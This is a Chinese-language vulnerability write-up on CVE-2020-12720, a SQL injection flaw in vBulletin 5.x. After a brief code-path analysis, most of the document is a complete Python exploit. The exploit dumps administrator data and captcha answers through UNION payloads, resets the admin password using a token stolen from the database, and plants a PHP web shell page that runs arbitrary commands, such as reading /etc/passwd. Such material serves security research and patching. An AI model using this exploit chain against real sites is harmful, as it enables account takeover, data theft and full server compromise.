（CVE-2020-12720）vBulletin 未授权sql注入漏洞¶
一、漏洞简介¶
未经授权的用户可以通过SQL注入获取敏感数据
二、漏洞影响¶
vBulletin 5.5.6pl1之前版本
vBulletin 5.6.0pl1之前的5.6.0版本
vBulletin 5.6.1pl1之前的5.6.1版本
三、复现过程¶
漏洞分析¶
漏洞文件：/core/vb/library/content.php
跟进fillContentTableData方法，直接调用了getRow方法
此处getRow方法传入的第一个参数为\'vBForum:getContentTablesData\'，全局搜索getContentTablesData方法
nodeid被设置为常量TYPE_NOCLEAN的值，该值为0。
跟进cleanArray方法
变量vartype经过数组处理后即为TYPE_NOCLEAN，随后调用doClean方法进行数据清洗
doClean方法会根据传入的type数值进入到不同的分支进行处理，因为变量vartype为0直接进入到TYPE_NOCLEAN的分支，从而不做清洗处理。
再回到/core/packages/vbforum/db/mysql/querydefs.php文件中，发现后续并没有再对nodeid键值进行处理，直接拼接到SQL语句中，造成了SQL注入漏洞。
至于如何利用，就不赘述了，向上追溯调用链即可。
漏洞复现¶
nodeId[nodeid]=1 AND text.nodeid = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user(),19,20,21,22,23,24,25,26--
打个断点就能快速定位漏洞点
poc¶
CVE-2020-12720.py
# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection
# Date: 2020-05-15
# Exploit Author: Photubias
# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1
# Version: vBulletin v5.6.x (prior to Patch Level 1)
# Tested on: vBulletin v5.6.1 on Debian 10 x64
# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE
#!/usr/bin/env python3
'''
Copyright 2020 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2020-12720.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
##-->> Full creds to @zenofex and @rekter0 <<--##
'''
import urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string
## Static vars; change at will, but recommend leaving as is
sADMINPASS = '12345678'
sCMD = 'id'
sURL = 'http://192.168.50.130/'
sUSERID = '1'
sNEWPASS = '87654321'
iTimeout = 5
## Ignore unsigned certs
ssl._create_default_https_context = ssl._create_unverified_context
## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def randomString(stringLength=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
def getData(sUrl, lData):
try:
oData = urllib.parse.urlencode(lData).encode()
oRequest = urllib.request.Request(url = sUrl, data = oData)
return oOpener.open(oRequest, timeout = iTimeout)
except:
print('----- ERROR, site down?')
sys.exit(1)
def verifyBug(sURL,sUserid='1'):
sPath = 'ajax/api/content_infraction/getIndexableContent'
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'}
sResponse = getData(sURL + sPath, lData).read().decode()
if not 'cve-2020-12720' in sResponse:
print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!')
return False
else:
print('[+] SQLi Success!')
return True
def takeoverAccount(sURL, sNEWPASS):
sPath = 'ajax/api/content_infraction/getIndexableContent'
### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
## Get Table Prefixes
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'}
sResponse = getData(sURL + sPath, lData).read().decode()
if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').replace('language','')
else: sPrefix = ''
#print('[+] Got table prefix "'+sPrefix+'"')
## Get usergroup ID for "Administrators"
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\'Administrators\';--'}
sResponse = getData(sURL + sPath, lData).read().decode()
sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')
#print('[+] Administrators Group ID: '+sGroupID)
## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'}
sResponse = getData(sURL + sPath, lData).read().decode()
sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').split('|')
#print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg)
## Let's create a Human Verify Captcha
sPath = 'ajax/api/hv/generateToken?'
lData = {'securitytoken':'guest'}
sResponse = getData(sURL + sPath, lData).read().decode()
if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('"','')
else: sHash = ''
## Get the captcha answer from DB
sPath = 'ajax/api/content_infraction/getIndexableContent'
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'}
sResponse = getData(sURL + sPath, lData).read().decode()
if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"',''))
else: iAnswers = 1
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'}
sResponse = getData(sURL + sPath, lData).read().decode()
if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')
else: sAnswer = ''
## Now request PW reset and retrieve the token
sPath = 'auth/lostpw'
lData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'}
sResponse = getData(sURL + sPath, lData).read().decode()
sPath = 'ajax/api/content_infraction/getIndexableContent'
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'}
sResponse = getData(sURL + sPath, lData).read().decode()
if 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')
else: sToken = ''
## Finally the password reset itself
sPath = 'auth/reset-password'
lData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'}
sResponse = getData(sURL + sPath, lData).read().decode()
if not 'Logging in' in sResponse:
print('[-] Failed to reset the password')
return ''
else:
print('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS)
return sUserid
def createBackdoor(sURL, sADMINPASS, sUserid='1'):
## Activating Sitebuilder
sPath = 'ajax/activate-sitebuilder'
lData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}
oResponse = getData(sURL + sPath, lData)
if not oResponse.code == 200:
print('[-] Error activating sitebuilder')
sys.exit(1)
## Confirming the password, getting new securitytoken
sPath = 'auth/ajax-login'
lData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}
oResponse = getData(sURL + sPath, lData)
sResponse = oResponse.read().decode()
if 'lostpw' in sResponse:
print('[-] Error: authentication for userid ' + sUserid + ' failed')
sys.exit(1)
sToken = sResponse.split(',')[1].split(':')[1].replace('"','').replace('}','')
print('[+] Got token: '+sToken)
## cpsession is needed, use this for extra verification
#for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc
## First see if our backdoor does not already exists
sPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper'
lData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken}
oResponse = getData(sURL + sPath, lData)
sResponse = oResponse.read().decode()
if 'cve-2020-12720' in sResponse:
sPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0]
print('[+] This machine was already pwned, using "' + sPageName + '" for your command')
return sPageName
## Create a new empty page
sPath = 'ajax/api/widget/saveNewWidgetInstance'
lData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken}
oResponse = getData(sURL + sPath, lData)
sResponse = oResponse.read().decode()
sWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','')
sPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','')
print('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID)
## Now submitting the page content
sPageName = 'cve-2020-12720-'+randomString()
sPath = 'ajax/api/widget/saveAdminConfig'
lData = {'widgetid':'23',
'pagetemplateid':sPageTemplateID,
'widgetinstanceid':sWidgetInstanceID,
'data[widget_type]':'',
'data[title]':sPageName,
'data[show_at_breakpoints][desktop]':'1',
'data[show_at_breakpoints][small]':'1',
'data[show_at_breakpoints][xsmall]':'1',
'data[hide_title]':'0',
'data[module_viewpermissions][key]':'show_all',
'data[code]':"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');",
'securitytoken':sToken}
oResponse = getData(sURL + sPath, lData)
if not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName)
## Finally saving the new page
sPath = 'admin/savepage'
lData = {'input[ishomeroute]':'0',
'input[pageid]':'0',
'input[nodeid]':'0',
'input[userid]':'1',
'input[screenlayoutid]':'2',
'input[templatetitle]':sPageName,
'input[displaysections[0]]':'[{"widgetId":"23","widgetInstanceId":"' + sWidgetInstanceID + '"}]',
'input[displaysections[1]]':'[]',
'input[displaysections[2]]':'[]',
'input[displaysections[3]]':'[]',
'input[pagetitle]':sPageName,
'input[resturl]':sPageName,
'input[metadescription]':'Photubias+Shell',
'input[pagetemplateid]':sPageTemplateID,
'url':sURL,
'securitytoken':sToken}
oResponse = getData(sURL + sPath, lData)
if not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName)
return sPageName
def main():
if len(sys.argv) == 1:
print('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>')
print(' Example: ./CVE-2020-12720.py http://192.168.50.130/ "cat /etc/passwd"')
print(' But for now, ask questions then')
sURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ')
if sURL == '': sURL = 'http://192.168.50.130'
else:
sURL = sys.argv[1]
sCMD = sys.argv[2]
if not sURL[:-1] == '/': sURL += '/'
if not sURL[:4].lower() == 'http': sURL = 'http://' + sURL
print('[+] Welcome, first verifying the SQLi vulnerability')
if verifyBug(sURL):
print("----\n" + '[+] Attempting automatic admin account takeover')
sUSERID = takeoverAccount(sURL, sNEWPASS)
sADMINPASS = sNEWPASS
if sUSERID == '':
sUSERID = '1'
sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')
else:
sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')
print("----\n"+'[+] So far so good, attempting the creation of the backdoor')
sPageName = createBackdoor(sURL, sADMINPASS, sUSERID)
if len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ')
if sCMD == '': sCMD = 'id'
sCmd = urllib.parse.quote(sCMD)
sPath = sPageName + "?cmd=" + sCmd
print('[+] Opening '+sURL + sPath)
try:
oRequest = urllib.request.Request(url = sURL + sPath)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
print('#######################')
sResponse = oResponse.read().decode()
print('[+] Command result:')
print(sResponse.split('###SHELLRESULT###')[1])
except:
print('[-] Something went wrong, bad command?')
sys.exit(1)
if __name__ == "__main__":
main()